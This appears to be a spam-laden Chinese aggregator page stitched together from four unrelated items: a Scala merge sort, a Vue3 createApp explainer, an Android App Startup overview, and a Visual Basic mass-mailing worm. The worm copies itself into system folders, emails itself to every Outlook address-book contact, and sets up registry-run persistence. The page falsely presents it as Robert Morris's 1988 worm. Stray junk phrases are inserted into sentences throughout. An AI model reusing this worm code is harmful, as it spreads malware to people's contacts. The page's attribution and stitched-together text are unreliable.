1.mainappԴ??
2.Vue3源码系列(七):createApp— 一切的起源
3.1988年RobertMorris释放的首个蠕虫病毒的源代码
4.Android 启动优化: JetPack App Startup 使用及源码浅析
mainappԴ??
objectMainextendsApp{
varreverse_pairs = 0//逆序数
defmsort[T](cmp:(T, T) => Boolean)(l:List[T]):List[T] = {
defmerge(l1:List[T], l2:List[T]):List[T]=(l1, l2)match{
case(Nil, _) => l2
case(_, Nil) => l1
case(x::left1, y::left2) =>
if(cmp(x, y))
x::merge(left1, l2)
else{
reverse_pairs += l1.length
y::merge(l1, left2)
}
}
valn = l.length / 2
if(n == 0)
return l
else{
val(l1, l2) = l.splitAt(n)
merge(msort(cmp)(l1), msort(cmp)(l2))
}
}
println(msort((x:Int, y:Int) => x<y)(List(5, 4, 3, 2, 7,6 )))
println(reverse_pairs)
}
Vue3源码系列(七):createApp— 一切的起源
在使用Vue3构建前端项目时,我们经常在main.js/main.ts中通过createApp这个API创建应用程序实例。这篇文章将深入探讨createApp背后的故事。首先,让我们了解几个关键的类型:App: createApp返回的实例,包含了项目常用方法,程序员阅读源码是什么心态链式调用友好,兼容Vue2的filter,并提供了内部属性。
AppConfig: 应用配置,包含Vue2中常见的选项,如组件合并策略、全局属性和编译器设置等。
AppContext: 上下文对象,记录组件、指令等信息,支持热更新和Vue2 filter的兼容。
Plugin: 与Vue2类似,Plugin和install方法定义清晰,网页转应用 源码可以是函数或对象。
CreateAppFunction: createApp函数的类型,接受根组件和可选的根组件属性。
实际上,Vue3的起点在于createApp API,它定义在packages/runtime-dom/src/index.ts。我们从这里开始追踪其内部流程:createApp: 乍看之下,createApp似乎在renderer上,它由createRenderer创建。区域代理源码createRenderer在packages/runtime-core/src/renderer.ts中定义,调用baseCreateRenderer,这个函数包含diff操作方法,但核心的createApp源自createAppAPI。
createAppAPI: 在baseCreateRenderer的返回值中,createAppAPI接收render和hydrate方法,将它们组合成我们熟知的createApp。这个函数约行,逻辑清晰地构造了应用实例。宝贝回家404源码
虽然我们已经了解了createApp的基本创建过程,但render函数的详细过程尚未揭示。后续会进一步剖析render的执行机制。年RobertMorris释放的首个蠕虫病毒的源代码
在年,Robert Morris释放了首个蠕虫病毒,其源代码的片段如下:
```vb
Sub Main()
'TaskVisible。App.TaskVisible = False
On Error Resume Next
Dim Location, Location2, DesLocation, DesLocation2
Location = App.Path & "\" & App.EXEName & "肢扮.exe"
Location2 = App.Path & App.EXEName & ".exe"
DesLocation = "C:\WINDOWS\SYSTEM\WinMapi.exe"
DesLocation2 = "C:\WINNT\SYSTEM\镇迟Mapi.exe"
FileCopy Location, DesLocation
FileCopy Location2, DesLocation
FileCopy Location, DesLocation2
FileCopy Location2, DesLocation2
Dim Var1, FilePath, FileName, FullLocation, MyApp
Dim Christmas, List, AddList, AddressListCount
Dim Merry, AdEntries, Attachs, Msg
Var1 = "True"
FilePath = App.Path
FileName = App.EXEName
FullLocation = FilePath & "\" & FileName
Set MyApp = CreateObject("Outlook.Application")
If MyApp = "Outlook" Then
Set Christmas = MyApp.GetNameSpace("mapi")
Set List = Christmas.AddressLists
For Each Addresslist In List
If Addresslist.AddressEntries.Count > 0 Then
AddressListCount = Addresslist.AddressEntries.Count
For AddList = 1 To AddressListCount
Set Merry = MyApp.CreateItem(0)
Set AdEntries = Addresslist.AddressEntries(AddList)
Merry.To = AdEntries.Address
Merry.Subject = Merry.Body
Set Attachs = Merry.Attachments
Attachs.Add FullLocation
If Var1 = "true" Then
Merry.DeleteAfterSubmit = True
End If
If Msg.To > "" Then
Merry.Send
End If
Next
Beep
End If
Next
End If
Dim RegSet
Set RegSet = CreateObject("wscript.shell")
'reg.regwrite "HEKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\MAPI", "C:\WINNT\SYSTEM\MAPI.EXE"
'reg.regwrite "HEKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\winMAPI", "C:\WINNT\SYSTEM\winMAPI.EXE"
End Sub
```
请注意,由于蠕虫病毒是恶意软件,其传播和操作可能导致严重的录屏幕视频 源码安全风险。这段代码仅供教育和研究目的,绝不应在实际环境中运行。
Android 启动优化: JetPack App Startup 使用及源码浅析
前言 本文将深入探讨 JetPack App Startup 的使用及源码浅析,以解决 Android 应用启动优化问题。让我们一起探讨 JetPack App Startup 如何简化初始化流程,提升应用启动速度。 目录 1. 什么是 JetPack App Startup? 2. JetPack App Startup 解决什么问题? 3. JetPack App Startup 的基本使用 4. JetPack App Startup 的进阶使用 5. JetPack App Startup 源码浅析 6. 小结 什么是 JetPack App Startup? JetPack App Startup 是一个为应用启动提供简洁高效初始化方案的库,适用于库开发者和应用开发者。通过集成 App Startup,开发者可以简化启动序列,明确初始化顺序,减少初始化步骤。相较于单独定义 ContentProvider 供每个组件初始化,App Startup 允许开发者定义共享一个 ContentProvider 的组件初始化器,显著提升应用启动时间。 JetPack App Startup 解决什么问题? 理解 App Startup 的实际应用,有助于我们解决 Android 应用启动时间长的问题。Android 启动流程包括 Application#attachBaseContext、ContentProvider#onCreate、Application#onCreate 及 MainActivity#onCreate 等步骤。App Startup 旨在集中管理 ContentProvider 初始化,减少不必要的初始化操作,优化启动性能。 基本使用 使用 App Startup 分为三步: 在 build.gradle 文件中添加依赖。 自定义实现 Initializer 类。 在 AndroidManifest 中配置自定义的 InitializationProvider。 进阶使用 App Startup 提供了灵活的初始化机制,允许开发者在特定时机执行初始化操作,而非仅在 Application onCreate 之前。这为开发者提供了更多自定义空间。 源码浅析 App Startup 的核心结构包括几个关键类:Initializer 接口和 InitializationProvider 类。Initializer 定义了初始化的基本操作,而 InitializationProvider 借助 ContentProvider 的特性,在应用启动之前执行初始化任务。 小结 本文分享了 JetPack App Startup 的使用方法及源码分析,提供了优化应用启动速度的实用技巧。我们还提供了一份包含 Android 学习资源的资料包,包括架构视频、面试文档及源码笔记,旨在帮助开发者深入理解高级架构知识。如果你对本文内容感兴趣,欢迎点赞、评论或转发支持。